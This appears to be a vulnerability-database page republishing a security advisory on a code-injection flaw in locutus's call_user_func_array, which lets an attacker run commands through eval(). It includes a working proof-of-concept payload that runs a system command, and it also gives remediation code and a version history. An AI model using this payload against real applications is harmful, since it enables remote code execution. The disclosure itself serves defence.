Alta

locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection

  • Publicada: 04.03.2026
  • Actualizado: 11.10.2026 10:22

Details

A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().


Technical Details

The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).

The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.

js
// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (cb[0].match(validJSFunctionNamePattern)) {
  // biome-ignore lint/security/noGlobalEval: needed for PHP port
  func = eval(cb[0] + "['" + cb[1] + "']")
}

PoC

This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.

go
const path = require("path");
const fs = require("fs");

const vulnFilePath = path.resolve(
  __dirname,
  "./src/php/funchand/call_user_func_array.js"
);

if (!fs.existsSync(vulnFilePath)) {
  console.error("error target file not found");
  process.exit(1);
}

console.log("loading target");
const call_user_func_array = require(vulnFilePath);

const payload = "']; require('child_process').execSync('id').toString().trim(); //";

console.log("payload set");

try {
  console.log("run");
  call_user_func_array(["Date", payload], []);
  console.log("fail no error");
} catch (e) {
  const msg = e.message;
  if (msg && msg.includes("uid=")) {
    console.log("pwn");
    const proof = msg.split(" is not a valid function")[0];
    console.log("out " + proof);
  } else {
    console.error("fail unexpected");
    console.error(msg);
    process.exit(1);
  }
}

Impact

If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.

This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.

Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.


Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

go
// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (typeof cb[0] === "string") {
  if (cb[0].match(validJSFunctionNamePattern)) {
    // biome-ignore lint/security/noGlobalEval: needed for PHP port
    // func = eval(cb[0] + "['" + cb[1] + "']");
    var obj = null;
    try {
      obj = eval(cb[0]);
    } catch (e) {}
    if (obj && typeof obj[cb[1]] === "function") {
      func = obj[cb[1]];
    }
  }
} else {
  func = cb[0][cb[1]];
}
return func.apply(null, parameters);

And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].


Resources

https://cwe.mitre.org/data/definitions/95.html

https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!


Author: Tomas Illuminati

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm locutus < 3.0.0 3.0.0

Referencias

Puntuación CVSS 8.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-95
Plataforma
npm
Paquete
locutus
Publicada
04.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-fp25-p6mj-qqg6 - CC BY 4.0

Historial de vulnerabilidades: locutus

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
8
Primera → última
05.2021 03.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 4
  • Alta 2
  • Media 2

Divulgaciones por año

  1. 2021: 3
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 0
  6. 2026: 5
  1. Media CVE-2026-33994 >= 2.0.39, < 3.0.25 3.0.25
  2. Crítica · 9.8 CVE-2026-32304 < 3.0.14 3.0.14
  3. locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection esta entrada
    Alta · 8.1 CVE-2026-29091 < 3.0.0 3.0.0
  4. Crítica CVE-2026-25521 >= 2.0.12, < 2.0.39 2.0.39
  5. Crítica · 9.8 CVE-2020-13619 <= 2.0.11 sin corrección
  6. Alta · 7.5 CVE-2021-23392 < 2.0.15 2.0.15
  7. Crítica · 9.8 CVE-2020-7719 < 2.0.12 2.0.12

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.